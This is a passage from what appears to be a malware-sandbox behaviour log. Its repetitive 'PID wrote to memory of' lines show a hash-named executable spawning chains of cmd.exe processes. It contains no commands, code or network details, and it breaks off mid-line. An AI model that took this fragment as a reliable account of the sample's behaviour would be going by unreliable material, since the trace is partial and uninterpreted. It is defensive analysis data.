4348 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 180 PID 3800 wrote to memory of 4348 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 180 PID 4348 wrote to memory of 4124 4348 cmd.exe 182 PID 4348 wrote to memory of 4124 4348 cmd.exe 182 PID 4348 wrote to memory of 4124 4348 cmd.exe 182 PID 4348 wrote to memory of 4612 4348 cmd.exe 183 PID 4348 wrote to memory of 4612 4348 cmd.exe 183 PID 4348 wrote to memory of 4612 4348 cmd.exe 183 PID 4348 wrote to memory of 4192 4348 cmd.exe 184 PID 4348 wrote to memory of 4192 4348 cmd.exe 184 PID 4348 wrote to memory of 4192 4348 cmd.exe 184 PID 4192 wrote to memory of 4300 4192 cmd.exe 185 PID 4192 wrote to memory of 4300 4192 cmd.exe 185 PID 4192 wrote to memory of 4300 4192 cmd.exe 185 PID 4348 wrote to memory of 4660 4348 cmd.exe 186 PID 4348 wrote to memory of 4660 4348 cmd.exe 186 PID 4348 wrote to memory of 4660 4348 cmd.exe 186 PID 3800 wrote to memory of 2628 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 187 PID 3800 wrote to memory of 2628 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 187 PID 3800 wrote to memory of 2628 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 187 PID 2628 wrote to memory of 2552 2628 cmd.exe 189 PID 2628 wrote to memory of 2552 2628 cmd.exe 189 PID 2628 wrote to memory of 2552 2628 cmd.exe 189 PID 2628 wrote to memory of 4752 2628 cmd.exe 190 PID 2628 wrote to memory of 4752 2628 cmd.exe 190 PID 2628 wrote to memory of 4752 2628 cmd.exe 190 PID 2628 wrote to memory of 4248 2628 cmd.exe 191 PID 2628 wrote to memory of 4248 2628 cmd.exe 191 PID 2628 wrote to memory of 4248 2628 cmd.exe 191 PID 4248 wrote to memory of 276 4248 cmd.exe 192 PID 4248 wrote to memory of 276 4248 cmd.exe 192 PID 4248 wrote to memory of 276 4248 cmd.exe 192 PID 2628 wrote to memory of 4388 2628 cmd.exe 193 PID 2628 wrote to memory of 4388 2628 cmd.exe 193 PID 2628 wrote to memory of 4388 2628 cmd.exe 193 PID 3800 wrote to memory of 4876 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 194 PID 3800 wrote to memory of 4876 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 194 PID 3800 wrote to memory of 4876 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 194 PID 4876 wrote to memory of 4692 4876 cmd.exe 196 PID 4876 wrote to memory of 4692 4876 cmd.exe 196 PID 4876 wrote to memory of 4692 4876 cmd.exe 196 PID 4876 wrote to memory of 260 4876 cmd.exe 197 PID 4876 wrote to memory of 260 4876 cmd.exe 197 PID 4876 wrote to memory of 260 4876 cmd.exe 197 PID 4876 wrote to memory of 1200 4876 cmd.exe 198 PID 4876 wrote to memory of 1200 4876 cmd.exe 198 PID 4876 wrote to memory of 1200 4876 cmd.exe 198 PID 1200 wrote to memory of 5036 1200 cmd.exe 199 PID 1200 wrote to memory of 5036 1200 cmd.exe 199 PID 1200 wrote to memory of 5036 1200 cmd.exe 199 PID 4876 wrote to memory of 4148 4876 cmd.exe 200 PID 4876 wrote to memory of 4148 4876 cmd.exe 200 PID 4876 wrote to memory of 4148 4876 cmd.exe 200 PID 3800 wrote to memory of 4164 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 201 PID 3800 wrote to memory of 4164 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 201 PID 3800 wrote to memory of 4164 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 201 PID 4164 wrote to memory of 3696 4164 cmd.exe 203 PID 4164 wrote to memory of 3696 4164 cmd.exe 203 PID 4164 wrote to memory of 3696 4164 cmd.exe 203 PID 4164 wrote to memory of 4252 4164 cmd.exe 204 PID 4164 wrote to memory of 4252 4164 cmd.exe 204 PID 4164 wrote to memory of 4252 4164 cmd.exe 204 PID 4164 wrote to memory of 4292 4164 cmd.exe 205 PID 4164 wrote to memory of 4292 4164 cmd.exe 205 PID 4164 wrote to memory of 4292 4164 cmd.exe 205 PID 4292 wrote to memory of 4284 4292 cmd.exe 206 PID 4292 wrote to memory of 4284 4292 cmd.exe 206 PID 4292 wrote to memory of 4284 4292 cmd.exe 206 PID 4164 wrote to memory of 4304 4164 cmd.exe 207 PID 4164 wrote to memory of 4304 4164 cmd.exe 207 PID 4164 wrote to memory of 4304 4164 cmd.exe 207 PID 3800 wrote to memory of 4240 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 208 PID 3800 wrote to memory of 4240 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 208 PID 3800 wrote to memory of 4240 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 208 PID 4240 wrote to memory of 4760 4240 cmd.exe 210 PID 4240 wrote to memory of 4760 4240 cmd.exe 210 PID 4240 wrote to memory of 4760 4240 cmd.exe 210 PID 4240 wrote to memory of 4720 4240 cmd.exe 211 PID 4240 wrote to memory of 4720 4240 cmd.exe 211 PID 4240 wrote to memory of 4720 4240 cmd.exe 211 PID 4240 wrote to memory of 4748 4240 cmd.exe 212 PID 4240 wrote to memory of 4748 4240 cmd.exe 212 PID 4240 wrote to memory of 4748 4240 cmd.exe 212 PID 4748 wrote to memory of 4404 4748 cmd.exe 213 PID 4748 wrote to memory of 4404 4748 cmd.exe 213 PID 4748 wrote to memory of 4404 4748 cmd.exe 213 PID 4240 wrote to memory of 4560 4240 cmd.exe 214 PID 4240 wrote to memory of 4560 4240 cmd.exe 214 PID 4240 wrote to memory of 4560 4240 cmd.exe 214 PID 3800 wrote to memory of 4664 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 215 PID 3800 wrote to memory of 4664 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 215 PID 3800 wrote to memory of 4664 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 215 PID 4664 wrote to memory of 5052 4664 cmd.exe 217 PID 4664 wrote to memory of 5052 4664 cmd.exe 217 PID 4664 wrote to memory of 5052 4664 cmd.exe 217 PID 4664 wrote to memory of 640 4664 cmd.exe 218 PID 4664 wrote to memory of 640 4664 cmd.exe 218 PID 4664 wrote to memory of 640 4664 cmd.exe 218 PID 4664 wrote to memory of 4328 4664 cmd.exe 219 PID 4664 wrote to memory of 4328 4664 cmd.exe 219 PID 4664 wrote to memory of 4328 4664 cmd.exe 219 PID 4328 wrote to memory of 4688 4328 cmd.exe 220 PID 4328 wrote to memory of 4688 4328 cmd.exe 220 PID 4328 wrote to memory of 4688 4328 cmd.exe 220 PID 4664 wrote to memory of 4848 4664 cmd.exe 221 PID 4664 wrote to memory of 4848 4664 cmd.exe 221 PID 4664 wrote to memory of 4848 4664 cmd.exe 221 PID 3800 wrote to memory of 3700 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 222 PID 3800 wrote to memory of 3700 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 222 PID 3800 wrote to memory of 3700 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 222 PID 3700 wrote to memory of 4276 3700 cmd.exe 224 PID 3700 wrote to memory of 4276 3700 cmd.exe 224 PID 3700 wrote to memory of 4276 3700 cmd.exe 224 PID 3700 wrote to memory of 4860 3700 cmd.exe 225 PID 3700 wrote to memory of 4860 3700 cmd.exe 225 PID 3700 wrote to memory of 4860 3700 cmd.exe 225 PID 3700 wrote to memory of 4208 3700 cmd.exe 226 PID 3700 wrote to memory of 4208 3700 cmd.exe 226 PID 3700 wrote to memory of 4208 3700 cmd.exe 226 PID 4208 wrote to memory of 4104 4208 cmd.exe 227 PID 4208 wrote to memory of 4104 4208 cmd.exe 227 PID 4208 wrote to memory of 4104 4208 cmd.exe 227 PID 3700 wrote to memory of 4716 3700 cmd.exe 228 PID 3700 wrote to memory of 4716 3700 cmd.exe 228 PID 3700 wrote to memory of 4716 3700 cmd.exe 228 PID 3800 wrote to memory of 4976 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 229 PID 3800 wrote to memory of 4976 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 229 PID 3800 wrote to memory of 4976 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 229 PID 4976 wrote to memory of 2700 4976 cmd.exe 231 PID 4976 wrote to memory of 2700 4976 cmd.exe 231 PID 4976 wrote to memory of 2700 4976 cmd.exe 231 PID 4976 wrote to memory of 4756 4976 cmd.exe 232 PID 4976 wrote to memory of 4756 4976 cmd.exe 232 PID 4976 wrote to memory of 4756 4976 cmd.exe 232 PID 4976 wrote to memory of 4864 4976 cmd.exe 233 PID 4976 wrote to memory of 4864 4976 cmd.exe 233 PID 4976 wrote to memory of 4864 4976 cmd.exe 233 PID 4864 wrote to memory of 5104 4864 cmd.exe 234 PID 4864 wrote to memory of 5104 4864 cmd.exe 234 PID 4864 wrote to memory of 5104 4864 cmd.exe 234 PID 4976 wrote to memory of 4340 4976 cmd.exe 235 PID 4976 wrote to memory of 4340 4976 cmd.exe 235 PID 4976 wrote to memory of 4340 4976 cmd.exe 235 PID 3800 wrote to memory of 4936 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 236 PID 3800 wrote to memory of 4936 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 236 PID 3800 wrote to memory of 4936 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 236 PID 4936 wrote to memory of 4576 4936 cmd.exe 238 PID 4936 wrote to memory of 4576 4936 cmd.exe 238 PID 4936 wrote to memory of 4576 4936 cmd.exe 238 PID 4936 wrote to memory of 4272 4936 cmd.exe 239 PID 4936 wrote to memory of 4272 4936 cmd.exe 239 PID 4936 wrote to memory of 4272 4936 cmd.exe 239 PID 4936 wrote to memory of 5076 4936 cmd.exe 240 PID 4936 wrote to memory of 5076 4936 cmd.exe 240 PID 4936 wrote to memory of 5076 4936 cmd.exe 240 PID 5076 wrote to memory of 5100 5076 cmd.exe 241 PID 5076 wrote to memory of 5100 5076 cmd.exe 241 PID 5076 wrote to memory of 5100 5076 cmd.exe 241 PID 4936 wrote to memory of 412 4936 cmd.exe 242 PID 4936 wrote to memory of 412 4936 cmd.exe 242 PID 4936 wrote to memory of 412 4936 cmd.exe 242 PID 3800 wrote to memory of 252 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 243 PID 3800 wrote to memory of 252 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 243 PID 3800 wrote to memory of 252 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 243 PID 252 wrote to memory of 4400 252 cmd.exe 245 PID 252 wrote to memory of 4400 252 cmd.exe 245 PID 252 wrote to memory of 4400 252 cmd.exe 245 PID 252 wrote to memory of 4472 252 cmd.exe 246 PID 252 wrote to memory of 4472 252 cmd.exe 246 PID 252 wrote to memory of 4472 252 cmd.exe 246 PID 252 wrote to memory of 5068 252 cmd.exe 247 PID 252 wrote to memory of 5068 252 cmd.exe 247 PID 252 wrote to memory of 5068 252 cmd.exe 247 PID 5068 wrote to memory of 4228 5068 cmd.exe 248 PID 5068 wrote to memory of 4228 5068 cmd.exe 248 PID 5068 wrote to memory of 4228 5068 cmd.exe 248 PID 252 wrote to memory of 4908 252 cmd.exe 249 PID 252 wrote to memory of 4908 252 cmd.exe 249 PID 252 wrote to memory of 4908 252 cmd.exe 249 PID 3800 wrote to memory of 4372 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 250 PID 3800 wrote to memory of 4372 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 250 PID 3800 wrote to memory of 4372 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 250 PID 4372 wrote to memory of 4984 4372 cmd.exe 252 PID 4372 wrote to memory of 4984 4372 cmd.exe 252 PID 4372 wrote to memory of 4984 4372 cmd.exe 252 PID 4372 wrote to memory of 4588 4372 cmd.exe 253 PID 4372 wrote to memory of 4588 4372 cmd.exe 253 PID 4372 wrote to memory of 4588 4372 cmd.exe 253 PID 4372 wrote to memory of 4296 4372 cmd.exe 254 PID 4372 wrote to memory of 4296 4372 cmd.exe 254 PID 4372 wrote to memory of 4296 4372 cmd.exe 254 PID 4296 wrote to memory of 5028 4296 cmd.exe 255 PID 4296 wrote to memory of 5028 4296 cmd.exe 255 PID 4296 wrote to memory of 5028 4296 cmd.exe 255 PID 4372 wrote to memory of 3796 4372 cmd.exe 256 PID 4372 wrote to memory of 3796 4372 cmd.exe 256 PID 4372 wrote to memory of 3796 4372 cmd.exe 256 PID 3800 wrote to memory of 4424 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 257 PID 3800 wrote to memory of 4424 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 257 PID 3800 wrote to memory of 4424 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 257 PID 4424 wrote to memory of 4676 4424 cmd.exe 259 PID 4424 wrote to memory of 4676 4424 cmd.exe 259 PID 4424 wrote to memory of 4676 4424 cmd.exe 259 PID 4424 wrote to memory of 4316 4424 cmd.exe 260 PID 4424 wrote to memory of 4316 4424 cmd.exe 260 PID 4424 wrote to memory of 4316 4424 cmd.exe 260 PID 4424 wrote to memory of 3664 4424 cmd.exe 261 PID 4424 wrote to memory of 3664 4424 cmd.exe 261 PID 4424 wrote to memory of 3664 4424 cmd.exe 261 PID 3664 wrote to memory of 4244 3664 cmd.exe 262 PID 3664 wrote to memory of 4244 3664 cmd.exe 262 PID 3664 wrote to memory of 4244 3664 cmd.exe 262 PID 4424 wrote to memory of 4384 4424 cmd.exe 263 PID 4424 wrote to memory of 4384 4424 cmd.exe 263 PID 4424 wrote to memory of 4384 4424 cmd.exe 263 PID 3800 wrote to memory of 1004 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 264 PID 3800 wrote to memory of 1004 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 264 PID 3800 wrote to memory of 1004 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 264 PID 1004 wrote to memory of 5112 1004 cmd.exe 266 PID 1004 wrote to memory of 5112 1004 cmd.exe 266 PID 1004 wrote to memory of 5112 1004 cmd.exe 266 PID 1004 wrote to memory of 4136 1004 cmd.exe 267 PID 1004 wrote to memory of 4136 1004 cmd.exe 267 PID 1004 wrote to memory of 4136 1004 cmd.exe 267 PID 1004 wrote to memory of 4640 1004 cmd.exe 268 PID 1004 wrote to memory of 4640 1004 cmd.exe 268 PID 1004 wrote to memory of 4640 1004 cmd.exe 268 PID 4640 wrote to memory of 4624 4640 cmd.exe 269 PID 4640 wrote to memory of 4624 4640 cmd.exe 269 PID 4640 wrote to memory of 4624 4640 cmd.exe 269 PID 1004 wrote to memory of 4592 1004 cmd.exe 270 PID 1004 wrote to memory of 4592 1004 cmd.exe 270 PID 1004 wrote to memory of 4592 1004 cmd.exe 270 PID 3800 wrote to memory of 5048 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 271 PID 3800 wrote to memory of 5048 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 271 PID 3800 wrote to memory of 5048 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 271 PID 5048 wrote to memory of 4572 5048 cmd.exe 273 PID 5048 wrote to memory of 4572 5048 cmd.exe 273 PID 5048 wrote to memory of 4572 5048 cmd.exe 273 PID 5048 wrote to memory of 3660 5048 cmd.exe 274 PID 5048 wrote to memory of 3660 5048 cmd.exe 274 PID 5048 wrote to memory of 3660 5048 cmd.exe 274 PID 5048 wrote to memory of 256 5048 cmd.exe 275 PID 5048 wrote to memory of 256 5048 cmd.exe 275 PID 5048 wrote to memory of 256 5048 cmd.exe 275 PID 256 wrote to memory of 4184 256 cmd.exe 276 PID 256 wrote to memory of 4184 256 cmd.exe 276 PID 256 wrote to memory of 4184 256 cmd.exe 276 PID 5048 wrote to memory of 4132 5048 cmd.exe 277 PID 5048 wrote to memory of 4132 5048 cmd.exe 277 PID 5048 wrote to memory of 4132 5048 cmd.exe 277 PID 3800 wrote to memory of 4888 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 278 PID 3800 wrote to memory of 4888 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 278 PID 3800 wrote to memory of 4888 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 278 PID 4888 wrote to memory of 4180 4888 cmd.exe 280 PID 4888 wrote to memory of 4180 4888 cmd.exe 280 PID 4888 wrote to memory of 4180 4888 cmd.exe 280 PID 4888 wrote to memory of 4628 4888 cmd.exe 281 PID 4888 wrote to memory of 4628 4888 cmd.exe 281 PID 4888 wrote to memory of 4628 4888 cmd.exe 281 PID 4888 wrote to memory of 4376 4888 cmd.exe 282 PID 4888 wrote to memory of 4376 4888 cmd.exe 282 PID 4888 wrote to memory of 4376 4888 cmd.exe 282 PID 4376 wrote to memory of 5072 4376 cmd.exe 283 PID 4376 wrote to memory of 5072 4376 cmd.exe 283 PID 4376 wrote to memory of 5072 4376 cmd.exe 283 PID 4888 wrote to memory of 4336 4888 cmd.exe 284 PID 4888 wrote to memory of 4336 4888 cmd.exe 284 PID 4888 wrote to memory of 4336 4888 cmd.exe 284 PID 3800 wrote to memory of 4236 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 285 PID 3800 wrote to memory of 4236 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 285 PID 3800 wrote to memory of 4236 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 285 PID 4236 wrote to memory of 4580 4236 cmd.exe 287 PID 4236 wrote to memory of 4580 4236 cmd.exe 287 PID 4236 wrote to memory of 4580 4236 cmd.exe 287 PID 4236 wrote to memory of 4632 4236 cmd.exe 288 PID 4236 wrote to memory of 4632 4236 cmd.exe 288 PID 4236 wrote to memory of 4632 4236 cmd.exe 288 PID 4236 wrote to memory of 4548 4236 cmd.exe 289 PID 4236 wrote to memory of 4548 4236 cmd.exe 289 PID 4236 wrote to memory of 4548 4236 cmd.exe 289 PID 4548 wrote to memory of 4212 4548 cmd.exe 290 PID 4548 wrote to memory of 4212 4548 cmd.exe 290 PID 4548 wrote to memory of 4212 4548 cmd.exe 290 PID 4236 wrote to memory of 4224 4236 cmd.exe 291 PID 4236 wrote to memory of 4224 4236 cmd.exe 291 PID 4236 wrote to memory of 4224 4236 cmd.exe 291 PID 3800 wrote to memory of 5116 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 292 PID 3800 wrote to memory of 5116 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 292 PID 3800 wrote to memory of 5116 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 292 PID 5116 wrote to memory of 4644 5116 cmd.exe 294 PID 5116 wrote to memory of 4644 5116 cmd.exe 294 PID 5116 wrote to memory of 4644 5116 cmd.exe 294 PID 5116 wrote to memory of 2352 5116 cmd.exe 295 PID 5116 wrote to memory of 2352 5116 cmd.exe 295 PID 5116 wrote to memory of 2352 5116 cmd.exe 295 PID 5116 wrote to memory of 3684 5116 cmd.exe 296 PID 5116 wrote to memory of 3684 5116 cmd.exe 296 PID 5116 wrote to memory of 3684 5116 cmd.exe 296 PID 3684 wrote to memory of 4872 3684 cmd.exe 297 PID 3684 wrote to memory of 4872 3684 cmd.exe 297 PID 3684 wrote to memory of 4872 3684 cmd.exe 297 PID 5116 wrote to memory of 4196 5116 cmd.exe 298 PID 5116 wrote to memory of 4196 5116 cmd.exe 298 PID 5116 wrote to memory of 4196 5116 cmd.exe 298 PID 3800 wrote to memory of 420 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 299 PID 3800 wrote to memory of 420 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 299 PID 3800 wrote to memory of 420 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 299 PID 420 wrote to memory of 4996 420 cmd.exe 301 PID 420 wrote to memory of 4996 420 cmd.exe 301 PID 420 wrote to memory of 4996 420 cmd.exe 301 PID 420 wrote to memory of 3576 420 cmd.exe 302 PID 420 wrote to memory of 3576 420 cmd.exe 302 PID 420 wrote to memory of 3576 420 cmd.exe 302 PID 420 wrote to memory of 5044 420 cmd.exe 303 PID 420 wrote to memory of 5044 420 cmd.exe 303 PID 420 wrote to memory of 5044 420 cmd.exe 303 PID 5044 wrote to memory of 4932 5044 cmd.exe 304 PID 5044 wrote to memory of 4932 5044 cmd.exe 304 PID 5044 wrote to memory of 4932 5044 cmd.exe 304 PID 420 wrote to memory of 272 420 cmd.exe 305 PID 420 wrote to memory of 272 420 cmd.exe 305 PID 420 wrote to memory of 272 420 cmd.exe 305 PID 3800 wrote to memory of 4852 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 306 PID 3800 wrote to memory of 4852 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 306 PID 3800 wrote to memory of 4852 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 306 PID 4852 wrote to memory of 2168 4852 cmd.exe 308 PID 4852 wrote to memory of 2168 4852 cmd.exe 308 PID 4852 wrote to memory of 2168 4852 cmd.exe 308 PID 4852 wrote to memory of 3136 4852 cmd.exe 309 PID 4852 wrote to memory of 3136 4852 cmd.exe 309 PID 4852 wrote to memory of 3136 4852 cmd.exe 309 PID 4852 wrote to memory of 4728 4852 cmd.exe 310 PID 4852 wrote to memory of 4728 4852 cmd.exe 310 PID 4852 wrote to memory of 4728 4852 cmd.exe 310 PID 4728 wrote to memory of 4732 4728 cmd.exe 311 PID 4728 wrote to memory of 4732 4728 cmd.exe 311 PID 4728 wrote to memory of 4732 4728 cmd.exe 311 PID 4852 wrote to memory of 4564 4852 cmd.exe 312 PID 4852 wrote to memory of 4564 4852 cmd.exe 312 PID 4852 wrote to memory of 4564 4852 cmd.exe 312 PID 3800 wrote to memory of 4500 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 313 PID 3800 wrote to memory of 4500 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 313 PID 3800 wrote to memory of 4500 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 313 PID 4500 wrote to memory of 280 4500 cmd.exe 315 PID 4500 wrote to memory of 280 4500 cmd.exe 315 PID 4500 wrote to memory of 280 4500 cmd.exe 315 PID 4500 wrote to memory of 4268 4500 cmd.exe 316 PID 4500 wrote to memory of 4268 4500 cmd.exe 316 PID 4500 wrote to memory of 4268 4500 cmd.exe 316 PID 4500 wrote to memory of 2708 4500 cmd.exe 317 PID 4500 wrote to memory of 2708 4500 cmd.exe 317 PID 4500 wrote to memory of 2708 4500 cmd.exe 317 PID 2708 wrote to memory of 2644 2708 cmd.exe 318 PID 2708 wrote to memory of 2644 2708 cmd.exe 318 PID 2708 wrote to memory of 2644 2708 cmd.exe 318 PID 4500 wrote to memory of 4868 4500 cmd.exe 319 PID 4500 wrote to memory of 4868 4500 cmd.exe 319 PID 4500 wrote to memory of 4868 4500 cmd.exe 319 PID 3800 wrote to memory of 4636 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 320 PID 3800 wrote to memory of 4636 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 320 PID 3800 wrote to memory of 4636 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 320 PID 4636 wrote to memory of 4312 4636 cmd.exe 322 PID 4636 wrote to memory of 4312 4636 cmd.exe 322 PID 4636 wrote to memory of 4312 4636 cmd.exe 322 PID 4636 wrote to memory of 4392 4636 cmd.exe 323 PID 4636 wrote to memory of 4392 4636 cmd.exe 323 PID 4636 wrote to memory of 4392 4636 cmd.exe 323 PID 4636 wrote to memory of 2988 4636 cmd.exe 324 PID 4636 wrote to memory of 2988 4636 cmd.exe 324 PID 4636 wrote to memory of 2988 4636 cmd.exe 324 PID 2988 wrote to memory of 5088 2988 cmd.exe 325 PID 2988 wrote to memory of 5088 2988 cmd.exe 325 PID 2988 wrote to memory of 5088 2988 cmd.exe 325 PID 4636 wrote to memory of 4596 4636 cmd.exe 326 PID 4636 wrote to memory of 4596 4636 cmd.exe 326 PID 4636 wrote to memory of 4596 4636 cmd.exe 326 PID 3800 wrote to memory of 4680 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 327 PID 3800 wrote to memory of 4680 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 327 PID 3800 wrote to memory of 4680 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 327 PID 4680 wrote to memory of 5012 4680 cmd.exe 329 PID 4680 wrote to memory of 5012 4680 cmd.exe 329 PID 4680 wrote to memory of 5012 4680 cmd.exe 329 PID 4680 wrote to memory of 5132 4680 cmd.exe 330 PID 4680 wrote to memory of 5132 4680 cmd.exe 330 PID 4680 wrote to memory of 5132 4680 cmd.exe 330 PID 4680 wrote to memory of 5152 4680 cmd.exe 331 PID 4680 wrote to memory of 5152 4680 cmd.exe 331 PID 4680 wrote to memory of 5152 4680 cmd.exe 331 PID 5152 wrote to memory of 5168 5152 cmd.exe 332 PID 5152 wrote to memory of 5168 5152 cmd.exe 332 PID 5152 wrote to memory of 5168 5152 cmd.exe 332 PID 4680 wrote to memory of 5192 4680 cmd.exe 333 PID 4680 wrote to memory of 5192 4680 cmd.exe 333 PID 4680 wrote to memory of 5192 4680 cmd.exe 333 PID 3800 wrote to memory of 5216 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 334 PID 3800 wrote to memory of 5216 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 334 PID 3800 wrote to memory of 5216 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 334 PID 5216 wrote to memory of 5264 5216 cmd.exe 336 PID 5216 wrote to memory of 5264 5216 cmd.exe 336 PID 5216 wrote to memory of 5264 5216 cmd.exe 336 PID 5216 wrote to memory of 5284 5216 cmd.exe 337 PID 5216 wrote to memory of 5284 5216 cmd.exe 337 PID 5216 wrote to memory of 5284 5216 cmd.exe 337 PID 5216 wrote to memory of 5304 5216 cmd.exe 338 PID 5216 wrote to memory of 5304 5216 cmd.exe 338 PID 5216 wrote to memory of 5304 5216 cmd.exe 338 PID 5304 wrote to memory of 5320 5304 cmd.exe 339 PID 5304 wrote to memory of 5320 5304 cmd.exe 339 PID 5304 wrote to memory of 5320 5304 cmd.exe 339 PID 5216 wrote to memory of 5344 5216 cmd.exe 340 PID 5216 wrote to memory of 5344 5216 cmd.exe 340 PID 5216 wrote to memory of 5344 5216 cmd.exe 340 PID 3800 wrote to memory of 5368 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 341 PID 3800 wrote to memory of 5368 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 341 PID 3800 wrote to memory of 5368 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 341 PID 5368 wrote to memory of 5416 5368 cmd.exe 343 PID 5368 wrote to memory of 5416 5368 cmd.exe 343 PID 5368 wrote to memory of 5416 5368 cmd.exe 343 PID 5368 wrote to memory of 5436 5368 cmd.exe 344 PID 